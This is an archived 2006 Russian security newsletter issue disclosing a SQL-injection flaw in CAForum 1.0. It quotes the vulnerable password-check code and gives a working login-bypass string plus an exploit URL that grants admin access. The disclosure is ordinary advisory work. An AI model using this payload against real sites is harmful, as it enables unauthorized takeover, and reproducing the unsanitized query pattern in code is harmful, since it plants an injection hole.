Отправляет email-рассылки с помощью сервиса Sendsay

IT-безопасность в быту и не только

Рассылка закрыта

При закрытии подписчики были переданы в рассылку "Безопасность. Статьи, новости, комментарии" на которую и рекомендуем вам подписаться.

Вы можете найти рассылки сходной тематики в Каталоге рассылок.

←   Июнь 2006   →
 1
 2
 3
 4
 5
 6
 7
 8
08.06.2006
07:05:38
13:05:05
 9
09.06.2006
07:05:21
13:05:14
10
11
12
13
14
15
16
17
18
18.06.2006
07:05:13
10:05:28
19
20
21
22
23
24
25
26
27
28
29
30
Автор
Forester

Статистика

1.394 подписчиков
-1 за неделю
←   Все выпуски   →

Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в CAForum.


Компьютер для продвинутых пользователей
Содержание:
CAForum
ПО: CAForum
Версия: 1.0

О CAForum:
CodeAvalanche FreeForum, написанное на asp приложение, который позволяет свободно общаться. Вам не нужно регистрироваться для посещения форума. Администратор может добавлять неограниченное количество тем.
Уязвимость:
В файле default.asp в директории Admin содержится уязвимость, которая позволяет провести удалённую SQL-инъекцию.
Большинство людей получают права администратора через использование поля Пароль.
Просмотрим код проверки пароля:
<% Response.Buffer = True 



userLogged=false

If Request("Password")<>"" Then 

'response.Write(Request("Password"))

'response.flush

dim rsUser,selectSQL

selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") 
& "'"



[...]

[End default.asp]

Как вы можете видеть, переменная Password не проверяется до использование, что позволяет атакующему вставить специально подготовленную строку:
1' OR '1' = '1
Запрос выглядит следующим образом:
selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1'
Выполнив данный запрос, форум, даст вам права администратора.
Использование:
На локальном сервере испробован код:
http://127.0.0.1/[Application_Path]/[CAForum]/admin/default.asp?password=1'%20OR%20'1'%20=%20'1
В итоге были получены права администратора.
CAForum
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru
В избранное